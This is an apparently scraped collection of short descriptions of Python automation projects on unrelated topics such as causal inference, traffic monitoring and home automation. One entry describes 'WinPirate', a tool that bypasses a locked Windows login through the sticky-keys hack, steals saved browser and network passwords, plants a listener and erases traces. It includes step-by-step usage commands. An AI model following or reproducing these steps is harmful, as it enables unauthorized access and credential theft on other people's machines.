ALICE (Automated Learning and Intelligence for Causation and Economics) is a Microsoft Research project aimed at applying Artificial Intelligence concepts to economic decision making. One of its goals is to build a toolkit that combines state-of-the-art machine learning techniques with econometrics in order to bring automation to complex causal inference problems. To date, the ALICE Python SDK (econml) implements orthogonal machine learning algorithms such as the double machine learning work of Chernozhukov et al. This toolkit is designed to measure the causal effect of some treatment variable(s) t on an outcome variable y, controlling for a set of features x.

Python framework for building portable automation for Salesforce projects

PyVerse is an open-source collection of diverse Python projects, tools, and scripts, ranging from beginner to advanced, across various domains like machine learning, web development, and automation.

I developed a rigorous cybersecurity project portfolio on mock clients covering NIST, audits, Linux, SQL, assets, threats, vulnerabilities, detection, incident response, escalation, Wireshark, tcpdump, IDS (Suricata), SIEM (Splunk, Chronicle), and Python automation.

3 Python Automation Projects for Beginners!

GitHub Project: AI Job Application Automation 🚀 This project automates job searching, CV creation, and applications using Python, n8n, Selenium, and OpenAI. It scrapes LinkedIn, Indeed, StepStone, generates a custom CV & cover letter, and auto-applies to jobs. Integrated with Google Sheets/Airtable & Email alerts.

# Intelligence traffic monitoring system ### About Due to a huge number of vehicles ,very busy road and parking which may not be possible manually as a human being, tends to get fatigued due to monotonous nature of the job and they cannot keep track of the vehicles when there are multiple vehicles are passing in a very short time. So modern cities need to establish effective automatic systems for traffic management and scheduling. The objective of this project is to design and develop an accurate and automatic number plate recognition system, Automatic traffic light control using google Api live traffic density data, smart fine system and also We can track the lost vehicle using vehicle number plate detection and find its location by google Map API. Intelligent Traffic Monitoring System (ITMS) is an image processing and machine learning technology to identify vehicles by their license plates and we uses the microService of google API for live traffic density. ### Features 1. License plate number recognition. 2. Matching the plate number with Database. 3. Intelligence traffic light control using live traffic density data. 4. Show traffic density of particular area for some duration of month in form of graph. 5. Online Vehicle license registration. 6. Smart fine system. ###Applications 1. Automated track the location of stolen vehicle 2. Anti-Theft/ Vehicle detection. 3. Traffic light automation ,no requirement of Traffic police. 4. Smart fine /E Challan Systems. 5. Car Parking / Automatic Toll Deduction. 6. Law Enforcement 7. VIP/Ambulance path Clearance 8. Help the government to take ● Increase the efficiency of existing transport infrastructure ● Develop a license plate recognition system, ● Build a smart fine system and in future enhancement automated fine systems for vehicles. ● Live Traffic detection system and automated traffic light control system. ● Predict the traffic density using machine learning for specific areas by its previous data. ● Automated lost vehicle detection system and information to administration. ● Handle traffic congestion using automated light control system. ### Installation * Clone the project. * Run `yarn install` to install the dependencies. * Run `yarn start` to view the project in action. ### OpenCV Demo to Count Vehicles * In "countingCars" directory, run 'python count.py' . ### License plate detection go to vehicle_number_by_its_pate folder and type python3 licenseplateDetection.py 1.jpg #secreenshot <img src="./screenshot/IMG_20200901_103735.jpg"> <img src="./screenshot/IMG_20200901_103751.jpg"> <img src="./screenshot/IMG_20200901_103811.jpg"> <img src="./screenshot/IMG_20200901_103826.jpg"> <img src="./screenshot/IMG_20200901_103844.jpg"> <img src="./screenshot/IMG_20200901_103906.jpg"> <img src="./screenshot/IMG_20200901_103943.jpg"> <img src="./screenshot/IMG_20200901_104003.jpg"> <img src="./screenshot/IMG_20200901_104044.jpg"> <img src="./screenshot/IMG_20200902_032314.jpg">

Example projects for the Python Testing 101 series from Automation Panda

An innovative Python project that integrates AI-driven agents for Agile software development, leveraging advanced language models and collaborative task automation.

Yet another python home automation (iot) project. Because a smart light is more than just on or off.

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The primary objective of this project is to develop a cross-platform Python library capable of simulating the core fundamental functionalities of two common industrial automation OT (Operational Technology ) devices: PLCs (Programmable Logic Controllers) and RTUs (Remote Terminal Units).

to grab or steal the password of systemAutomated sticky keys hack. Post exploitation it grabs browser passwords, history, and network passwords Download git clone https://github.com/pourquoibenoit/WinPirate.git This project is still in progress Estimated Completion Date: soon…ish Here’s the plan. We create a way to automate doing the sticky keys windows hack from a bootable USB. Then, we automate getting as many saved passwords as possible, drop a listener, and delete all traces that we were there. All without being detected by antivirus we should add a mimikittenz option if the computer was found running and unlocked, otherwise we can just run it later remotely How to Use Requirements: a linux bootable USB, this repo on the USB (not in the OS, just put it in the root directory) chromepasswords.py requires PyWin32 If the computer is locked: 1) shutdown windows (make sure not hibernating by holding shift while pressing shut down) 2) hit F12 and select USB 3) sudo -i 4) fdisk -l (note: if you’re on Kali Linux, run parted -l) 5) mkdir /media/windows 6) mount /dev/WHATEVERTHEWINDOWSPARTITIONWASCALLED /media/windows -t ntfs 7) run Stickykeys.sh 8) restart and boot to Windows 9) hit Shift 5 times fast, a command prompt will appear 10) cd to the USB and run WinPirate.bat If the computer isn’t locked: cd to the USB and run Run.bat (this will run WinPirate.bat silently in the background, it should be done in < 10 seconds Current Issues 1) The chrome passwords grabber that I made is still a .py For it to work, I need to convert it to exe so it doesn’t require python to be installed on the system. You can run it with python chromepasswords.py -csv and it will decrypt the Chrome saved passwords database and export it as a CSV 2) The sticky keys automation doesn’t speed the process up as much as I previously thought, as evident by the lengthy “How to Use” section 3) I haven’t been able to write any tools that grab passwords for IE or Firefox Source: https://github.com/pourquoibenoit/WinPirate

A production-ready PySpark project template with medallion architecture, Python packaging, unit tests, integration tests, CI/CD automation, Databricks Asset Bundles, and DQX data quality framework.

The open source project uses Python 3 to parse swagger2 X version of the interface document, which can generate data files in the format of JSON, yaml, CVs and xlsx. The solution of automatically generating use cases for interface automatic testing is applicable to HTTP Runner 2 X version of interface automation test framework; It can be called for the interface test cases of any test suite or a single API, and can quickly realize the enterprise level interface automation test solution. Data files in JSON format are generated by default. The framework supports switching to yaml format, writing Excel files, and converting data files into CSV format. CSV files also support the automatic test solution of JMeter data-driven interface.

Gitai is a Python automation tool for managing commits in Git. It analyzes changes in projects written in various languages, generates detailed commit messages following the Conventional Commits standard, and automates the commit and push process.

Final project for 'ECE470: Intro to Robotics' at UIUC. Python code+API to create a robot simulation in Vrep software. Robot arm forward/inverse kinematics, automation system design, path planning (collision avoidance)

Hello my dear friend ^_^ It is pytest project. I hope that the project will be as cookbook for you on you way to python automation.

My projects for the Google IT Automation with Python certification

Python library to support Insteon home automation projects

In our continuing deep dive into practical real-time computer vision, we’ll show you how to code a hands-free webcam-based controller for your computer mouse using the OpenCV library on Python. This will allow you to control your computer without any physical peripheral required—Iron Man style! In this session, we’ll first obtain our live camera feed using OpenCV and then estimate hand poses using MediaPipe Hands, an open-source framework that employs machine learning to infer 3D landmarks of the hand from single frames in real-time without any fancy hardware acceleration, working even on mobile phones. Following this, we’ll set up our simulated mouse movement in response to the poses using the AutoPy automation module. Prerequisites: ✅ Python (latest release: https://www.python.org/downloads/release/python-395/) ✅ PyCharm (https://www.jetbrains.com/pycharm/download/) or any other Python code editor ✅ pip install: OpenCV (https://pypi.org/project/opencv-python/), MediaPipe, AutoPy ----------------------------------------- To learn more about The Assembly’s workshops, visit our website, social media or email us at workshops@theassembly.ae Our website: http://theassembly.ae Instagram: http://instagram.com/makesmartthings Facebook: http://fb.com/makesmartthings Twitter: http://twitter.com/makesmartthings

Analyze retail sales data using SQL and Python. Build a SQLite database from CSV, run SQL queries for key KPIs (revenue, top products, AOV, trends), and visualize results with Matplotlib. A portfolio-ready project demonstrating SQL + data analytics + reporting automation.

🤖 JARVIS is your AI assistant with a slick GUI. Voice recognition, natural language processing, and task automation. Get organized and simplify tasks. Contribute to our open-source project! #Python #AIAssistant #OpenSource

The Raspberry Pi Telegram Bot is a lightweight, customizable bot built for Raspberry Pi users. It leverages Python and the Telegram Bot API to enable users to execute commands, receive updates, and automate processes from their Telegram account. Ideal for DIY projects, home automation, and remote control applications, this bot is easy to set up .

An Internet of Things (IoT) home automation project using Raspberry Pi and Python. This repository includes code for controlling home devices remotely, showcasing hardware and software integration skills.

Collections of python projects including machine learning projects, image and pdf processing, password checkers, sending emails, sms, web scraping,flask web app,selenium automation testing,etc

Simple Python Automation project

Files used in the final project of the Google IT Automation with Python Professional Certificate

The certificate generation and sending system in python is flexible for generating the certificate of the students who participate or attend the different workshops, webinars, quiz, live project, etc. The system is targeted at various enterprises, schools, colleges, and universities. The development of system focuses at describing the tables with columns/rows & sub-columns, sub-rows, rules of data selection for calculating credits and grades of the students &amp; summarizing exam data, particular table, column/row, and formatting the data in the destination document. Certificate generation and sending system can be used in universities, colleges, schools, enterprises to automate the distribution of certificates digitally. The system access information of participants from the CSV which is uploaded by the user and generates & send the certificate of all the participants in a portable document format which provides authenticity of the document on their respective email id. The Certificate generation and sending system is a system which allows the digital automation of the certificate of the students. The system will generate the certificate in Portable Document Format which is globally accepted format for files. The PDF document is very difficult to modify and requires the use of the complex software.

[Web Scraper] A cool Python automation project that automates the menial task of downloading hundreds of audio files.